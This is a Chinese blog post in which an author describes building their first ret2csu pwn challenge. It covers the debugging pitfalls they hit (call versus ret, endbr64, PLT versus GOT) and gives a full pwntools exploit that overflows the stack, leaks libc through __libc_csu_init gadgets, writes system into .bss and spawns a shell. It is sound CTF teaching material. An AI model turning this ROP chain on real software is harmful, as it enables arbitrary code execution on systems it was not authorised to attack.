首页 > 其他分享 >ret2csu出题小记

ret2csu出题小记

时间:2024-08-16 15:48:40浏览次数:15  
标签:addr ret2csu p64 ret write 出题 got 小记

第一次出题,没什么经验,按照https://www.cnblogs.com/bpcat/p/16878676.html这篇文章简单改的代码(这文章讲的还算细,跟着动调就好了)
直接抄exp肯定是不行了,多加了几句话导致栈空间有一丢丢偏移,但是影响不大,这里展现下当时卡住的地方

卡在jmp的位置了,爆段错误,于是去拿其他做过的csu题目对比了一下,发现其他的都是布局完寄存器之后用的ret,这题在布局完之后是利用call做的跳转

这里有一个小知识点,那个endbr64是一个特殊指令集的指令,作用是在一次跳转中如果不是跳到这个地址就会报错,防止ret攻击,但是很显然这个是很好绕过的,跳到这个地址就好,这里也有做好规避.至于栈对齐问题,这个也是特殊指令集的指令有要求

好吧这里的问题是找到plt表去了,基础不扎实导致的,plt表里面记录的是一系列的跳转指令,而GOT表里面记录的是一系列的地址本身,因此我们要跳转的地方是GOT表而非plt表,而我们要进行泄露的是plt表的内容

修改之后就是慢慢找libc地址了,因为是本地跑的所以可以直接拿本地的地址,因为程序很简单所以只能泄露read和write,也够了,libc.rip找一下就拿下了

这里也是简单总结下ret2csu的利用点:利用libc里面的初始化用的__libc_csu_init函数中布置栈空间的gadget来为寄存器赋值,使得ret调用可以传入参数,配合栈溢出实现ROP链的构造,但是因为payload长度比较长因此需要程序有比较大的溢出空间

最后给一下exp吧

#ret2csu
from pwn import*

p = process('./ret2csu')
#p = remote('',)
elf = ELF('./ret2csu')
context(log_level="debug")
#gdb.attach(p)

gadget1_addr = 0x4012ba
gadget2_addr = 0x4012a0
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = 0x404020
leak_got = elf.got['write']
'''
local leak info:
write 4870
read 47d0
'''
main_addr = elf.symbols['main']

############################################LEAK###############################################
#          lj           ret addr             rbx      rbp      r12       r13           r14         r15(call addr)
payload1 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(1) + p64(leak_got) + p64(0x16) + p64(write_got) 
#           form csu ret2csu    balance stk  ret addr
payload1 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)

p.sendlineafter("gadget!",payload1)
p.recv()
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))

##########################################write################################################
libcbase = leak_addr - 0x114870
sys_addr = libcbase + 0x50d70
print('sys:' + hex(sys_addr))
print('read_got:'+hex(read_got))
bin_sh_addr = libcbase + 0x1d8678
bss_addr = 0x404140
#gdb.attach(p)
#           lj          ret addr             rbx      rbp 	   r12      r13              r14        r15(call addr)
payload2 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(0) + p64(bss_addr) + p64(0x10) + p64(read_got)
#           form csu ret2csu    balance stk  ret addr
payload2 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)
p.sendline(payload2)
p.send(p64(sys_addr) + b'/bin/sh\x00')

#######################################shell####################################################
#          lj           ret addr             rbx      rbp      r12
payload3 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(bss_addr + 8) + p64(0) + p64(0) + p64(bss_addr) + p64(0x40101a) + p64(gadget2_addr)
gdb.attach(p)
p.sendlineafter(b"gadget!",payload3)
p.interactive()

标签:addr,ret2csu,p64,ret,write,出题,got,小记
From: https://www.cnblogs.com/mcrock/p/18356215

相关文章

  • 你有听过这个出题工具吗?
    本篇文章给大家分享的是一款个人觉得好用的出题工具--匡优AI出题。没听过或者不知道咋用的小伙伴们,快看过来一篇文章让你秒懂匡优AI自动出题!匡优AI出题工具是一款利用人工智能技术帮助用户快速、高效生成试题的工具。它不仅解决了用户在出题过程中遇到的烦恼和压力,还提供了一......
  • React 高德地图 进京证 路线规划 问题小记
    一、加载问题用高德地图做了个进京证路线规划的功能,官网也是有React代码示例。但是吧,这个Demo有问题,地图是能加载成功,但是其他功能再用map这个变量肯定不行,果不其然是null,处理也简单,把公共变量都管理起来就行了。const[map,setMap]=useState(null);const[AMap,setAMa......
  • 实用好软-----简单的小学出题工具 假期必备
         一个简单的口算生成工具,可以保存常用题型为题库,支持导出.这是方便家长给学生出题的工具,虽然略有简陋,但功能却十分有效可靠。口算题自动生成软件。首次运行时需要安装.Net8运行时,下载地址:https://aka.ms/dotnet/8.0/windowsdesktop-runtime-win-x64.exeWi......
  • Nodejs事件循环小记
    执行原理当Node.js启动时,会先初始化EventLoop,然后执行提供的输入脚本(主模块同步代码),过程中可能会产生异步API调用、定时器或调用process.nextTick(),然后开始处理事件循环。Node.js的EventLoop分为6个阶段,会按照顺序反复执行,每当进入某一个阶段的时候,都会从对应......
  • gcc使用小记
    gcc使用小记1.gcc使用gcc-ofilenamefilename.c释义:-o:表示的是文件输出名称(由自己自定义)filename.c:表示的是源文件的名称2.在源文件中导入头文件<math.h>后gcc的编译命令gcc-ofilenamefilename.c-lm释义:编译时需要注意,在Linux系统下,C源文件若调用了math......
  • dp 套 dp(dp of dp)小记
    其实并不是什么很高大上的东西,就是把内层dp的结果压到外层dp的状态里。通常解决的是“限制某种值为\(x\)的方案数”之类的问题,而限制的值通常是一个经典的dp问题。没有啥好直接介绍的,就写三道做过的题。BZOJ3864Heromeetdevil题目链接算是一道入门题目。我们先回......
  • 数论函数小记
    这篇文章是上了\(\rmyyc\)的课之后得到的一些心得和总结。高维点视角下的整除关系:我们可以将一个数\(x\)唯一分解为\(\prod_{i=1}^{+\infty}p_i^{x_i}\)的形式(其中\(p_i\)都是素数)。注意到每一种素数互不干扰,于是可以把每一种不同的素数看成立体空间的一维,把\(x\)......
  • QDBus通信小记
    1.客户端1.1TestQtDBus.proQT+=dbus1.2TestQtDBus.h#ifndefTESTQTDBUS_H#defineTESTQTDBUS_H#include<QObject>#include<QtDBus>enumMessageType{Message_Conncet=0,//设备连接Message_DisConnect=1,//设备断开连接Messag......
  • 原根小记
    定义阶:对于\(a\perpm\),定义阶\(\delta_m(a)\)表示最小的\(i\)满足\(a^i\equiv1\pmodm\)。原根:对于\(a\perpm\),\(a\)是\(n\)的原根当且仅当\(\delta_m(a)=\varphi(m)\)。性质:\(a,a^2,a^3,...,a^{\delta_m(a)}\)互不相同。\(a^i\equiv1\pmod......
  • Lyndon Word 小记
    1.定义一个字符串\(S\)被定义为LyndonWord当且仅当其严格小于所有真cyclicshift。LyndonWord的等价定义:是其所有后缀中最小的。2.性质性质1:LyndonWord无\(\text{Border}\)。不妨设\(w\)有\(\text{Border}\),则我们可以表示为\(w=xu=uy\),从而得到\(w......